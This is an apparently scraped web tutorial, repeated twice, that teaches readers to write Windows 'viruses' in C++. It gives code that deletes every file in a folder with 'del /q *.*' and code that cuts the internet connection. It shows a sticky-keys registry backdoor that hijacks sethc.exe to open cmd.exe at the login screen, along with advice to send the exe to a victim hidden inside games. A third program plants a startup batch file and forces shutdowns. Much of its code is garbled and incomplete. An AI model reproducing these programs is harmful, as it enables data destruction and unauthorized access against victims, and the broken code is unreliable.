Build Virus in C++

C++ is very powerful and popular programming language. It has features of both- High level language and low level language.
Today we are going to learn easy ways to build computer virus in C++.

But before we start, you must check this article- How to run virus on computer without any harm.
In this tutorial we will use- Turbo C++ compiler to compile our C++ codes. You must download this compiler.
We will use windows command prompt to build computer viruses in C++.
To run, command prompt command in C++, you can use system() function available in stdlib.h header file.
Example1:–
#include
#include
void main()
{
system(“msg  * hello”);
}
==> Above code will show a message box with message- hello. 
         msgbox   is  command prompt command.
Remember that, whenever you will write a virus code, don’t run that code in compiler.
Press- F9    or  click on- compile menu     then click   on – Make  to   create exe  file of your virus code.
Lets see some virus codes:–
Program1:–  C++  Virus code to delete all files in current directory.
#include
#include
void main()
{
system(“del   /q  *.*”);
}
       —>When you will run above code, all files in current directory / folder will be deleted.
Program2:– C++  virus code to disconnect internet.
#include
#include
void main()
{
system(“rasdial   /disconnect”);
}
      ==> Above code will disconnect internet connection from your computer.
    Note:– This code is tested on USB modem internet connection.
This is easiest way to build virus in C++

How to Build C++ virus to hack computer

This virus will install a backdoor in windows that will  allow you to open command prompt at login screen and do anything you want without login into windows.

First you need to install any C++ compiler.

Now start compiler, and enter below code:–
#include
#include
void main()
{
system(“REG ADD \”HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\” /v Debugger /t REG_SZ /d \”C:\\windows\\system32\\cmd.exe\””);
}
Now compile above code and send exe file to victim. When he will open exe file, backdoor will get installed in windows.
Now press shift key 5 times on login screen and you will get command prompt which will allow you to do anything without login into windows.

You can pack your virus with other software  or games using Winrar SFX archive.

Create dangerous C++ Virus

I’m gonna teach you how to make a virus named Danger…1-Open notepad
2-Copy This code

#include
#include
#include
#include
#include
#include
#include
using namespace std;
int main()
{ keybd_event(VK_MENU,0x38,0,0);
keybd_event(VK_RETURN,0x1c,0,0);
keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);
HANDLE outToScreen;
outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);
{
char buffer[255];
char inputFile[]=”C:\Documents and Settings\All Users\Start Menu\Programs\Startup\rawr.bat”;
ifstream input(inputFile);
if (!input)
{
{
ofstream fp(“C:\Documents and Settings\All Users\Start Menu\Programs\Startup\rawr.bat”, ios::app);
fp
fp
fp
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
}
}
}
{
char buffer[255];
char inputFile[]=”C:\rawr.exe”;
ifstream input(inputFile);
if (!input)
{
{
{
ofstream fp(“CLICK.bat”, ios::app);
fp
fp
fp
fp
}
system(“START CLICK.bat”);
main();
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
system(“call shutdown.exe -S”);
goto START;
}
}
}
START:{
for(int i = 0; i < 1; i++)
{
int num = (rand() % 10);
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
cout
cout
cout
cout
cout
cout
cout
cout
cout
cout
cout
cout
Sleep(60);
}
}
for ( int j = 0; j < 5; j++)
{
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
int number = (rand() % 24);
cout
}
goto START;
3-Save It As Game.Bat
4-finish

HOW TO BUILD VIRUS IN C++

C++ is very powerful and popular programming language. It has features of both- High level language and low level language.
Today we are going to learn easy ways to build computer virus in C++.

But before we start, you must check this article- How to run virus on computer without any harm.

In this tutorial we will use- Turbo C++ compiler to compile our C++ codes. You must download this compiler.
We will use windows command prompt to build computer viruses in C++.
To run, command prompt command in C++, you can use system() function available in stdlib.h header file.
Example1:–
#include<iostream.h>
#include<stdlib.h>
void main()
{
system(“msg  * hello”);
}
==> Above code will show a message box with message- hello. 
         msgbox   is  command prompt command.
Remember that, whenever you will write a virus code, don’t run that code in compiler.
Press- F9    or  click on- compile menu     then click   on – Make  to   create exe  file of your virus code.
Lets see some virus codes:–
 
Program1:–  C++  Virus code to delete all files in current directory.
#include<iostream.h>
#include<stdlib.h>
void main()
{
system(“del   /q  *.*”);
}
       —>When you will run above code, all files in current directory / folder will be deleted.
Program2:– C++  virus code to disconnect internet.
#include<iostream.h>
#include<stdlib.h>
void main()
{
system(“rasdial   /disconnect”);
}
      ==> Above code will disconnect internet connection from your computer.
    Note:– This code is tested on USB modem internet connection.
This is easiest way to build virus in C++

How to Build C++ virus to hack Windows

techntips.net

This virus will install a backdoor in windows that will  allow you to open command prompt at login screen and do anything you want without login into windows.

First you need to install any C++ compiler.

Now start compiler, and enter below code:–

#include<iostream.h>
#include<stdlib.h>
void main()
{

system(“REG ADD \”HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\” /v Debugger /t REG_SZ /d \”C:\\windows\\system32\\cmd.exe\””);
}

Now compile above code and send exe file to victim. When he will open exe file, backdoor will get installed in windows.
Now press shift key 5 times on login screen and you will get command prompt which will allow you to do anything without login into windows.
 
You can pack your virus with other software  or games using Winrar SFX archive.

© http://www.computerthc.ml